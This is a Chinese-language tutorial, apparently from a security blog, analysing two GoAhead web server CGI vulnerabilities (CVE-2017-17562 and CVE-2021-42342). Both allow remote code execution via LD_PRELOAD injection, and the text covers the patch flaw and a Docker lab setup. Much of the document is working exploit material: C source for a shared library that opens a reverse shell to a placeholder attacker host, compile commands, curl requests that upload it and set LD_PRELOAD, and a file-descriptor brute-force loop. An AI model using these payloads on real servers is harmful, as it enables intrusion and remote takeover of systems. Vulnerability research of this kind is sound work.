GoAhead历史洞分析
字数 1394 2025-08-27 12:33:48
GoAhead历史漏洞分析与利用教学文档
1. CVE-2017-17562漏洞分析
1.1 漏洞概述
GoAhead Web Server在CGI处理过程中存在环境变量注入漏洞,允许攻击者通过特殊构造的HTTP请求参数劫持LD_PRELOAD环境变量,实现远程代码执行。
1.2 影响版本
GoAhead Web Server < 3.6.5
1.3 漏洞原理
漏洞位于goahead/src/cgi.c中的cgihandler函数:
-
环境变量处理流程:
- 137行:将HTTP请求参数分割为键值对形式
- 162行:仅对
REMOTE_HOST和HTTP_AUTHORIZATION进行过滤,其他环境变量(如LD_PRELOAD)未过滤 - 180行:将输入输出重定向到临时文件
-
临时文件处理:
- 通过
websGetCgiCommName和websTempFile函数创建临时文件,默认位于/tmp目录
- 通过
-
CGI执行流程:
- 533行:
launchCgi函数创建子进程执行CGI程序 - 使用
execve启动新进程,环境变量数组envp来自之前解析的HTTP参数 - 通过
LD_PRELOAD=/proc/self/fd/0可加载恶意so文件
- 533行:
1.4 漏洞利用
1.4.1 恶意so文件构造
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
char *server_ip = "attacker_ip";
uint32_t server_port = 7777;
static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void) {
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(server_port);
attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
if(connect(sock, (struct sockaddr *)&attacker_addr, sizeof(attacker_addr)) != 0)
exit(0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execve("/bin/bash", 0, 0);
}
1.4.2 编译与利用
gcc exp.c -fPIC -s -shared -o evil.so
curl -X POST --data-binary @evil.so http://target:8080/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0
2. CVE-2021-42342漏洞分析
2.1 漏洞概述
GoAhead对CVE-2017-17562的修复不完整,在特定条件下仍可通过LD_PRELOAD实现代码执行。
2.2 影响版本
- GoAhead web-server 4.x
- GoAhead web-server <= 5.1.5
- 需满足:存在cgi-bin目录且包含可执行CGI文件
2.3 补丁分析
官方修复措施:
- 在
cgi.c中添加了LD开头的环境变量过滤 - 默认关闭了CGI配置(2021.5.19后)
问题点:
- 使用
strim方法过滤,但vp恒为0 - 仅在
s->arg!=0时才会执行过滤逻辑 - 默认
s->arg为0,仅在特定条件下被设置为1
2.4 绕过原理
-
上传文件时的特殊处理:
- 当
content-type为multipart/form-data时,wp-flags赋值为WEBS_UPLOAD - 此时不会调用
addFormVars处理参数,s->arg保持为0 - 导致环境变量过滤被绕过
- 当
-
上传文件位置:
- 默认上传目录为
/tmp - 可通过
ME_GOAHEAD_UPLOAD_DIR宏指定
- 默认上传目录为
2.5 漏洞利用
2.5.1 环境搭建
Dockerfile示例:
FROM debian:buster
RUN set -ex \
&& apt-get update \
&& apt-get install wget make gcc -y \
&& wget -qO- https://github.com/embedthis/goahead/archive/refs/tags/v5.1.4.tar.gz | tar zx --strip-components 1 -C /usr/src/ \
&& cd /usr/src \
&& make SHOW=1 ME_GOAHEAD_UPLOAD_DIR="'\"/tmp\"'" \
&& make install \
&& cp src/self.key src/self.crt /etc/goahead/ \
&& mkdir -p /var/www/goahead/cgi-bin/ \
&& apt-get purge -y --auto-remove wget make gcc \
&& cd /var/www/goahead \
&& rm -rf /usr/src/ /var/lib/apt/lists/* \
&& sed -e 's!^# route uri=/cgi-bin dir=cgi-bin handler=cgi$!route uri=/cgi-bin dir=/var/www/goahead handler=cgi!' -i /etc/goahead/route.txt
COPY hello /var/www/goahead/cgi-bin/hello
RUN chmod +x /var/www/goahead/cgi-bin/hello
EXPOSE 8081
CMD ["goahead", "-v", "--home", "/etc/goahead", "/var/www/goahead", "0.0.0.0:8081"]
2.5.2 探测注入
curl -v -F "TEST=123" http://target:8080/cgi-bin/hello
2.5.3 利用方法
方法一:添加脏数据并设置不完整Content-Length
curl -v -F data=@evil.so -F "LD_PRELOAD=/proc/self/fd/7" -x http://127.0.0.1:8081 http://target:8080/cgi-bin/hello
方法二:爆破文件描述符
for i in {0..20}; do
curl -v -F data=@evil.so -F "LD_PRELOAD=/proc/self/fd/$i" http://target:8080/cgi-bin/hello
done
3. 防御建议
- 升级到最新版本GoAhead
- 禁用不必要的CGI功能
- 设置严格的文件上传限制
- 使用最小权限原则运行服务
- 监控/tmp目录异常文件
4. 参考链接
- https://www.leavesongs.com/PENETRATION/goahead-en-injection-cve-2021-42342.html
- https://github.com/embedthis/goahead/commit/65afbf1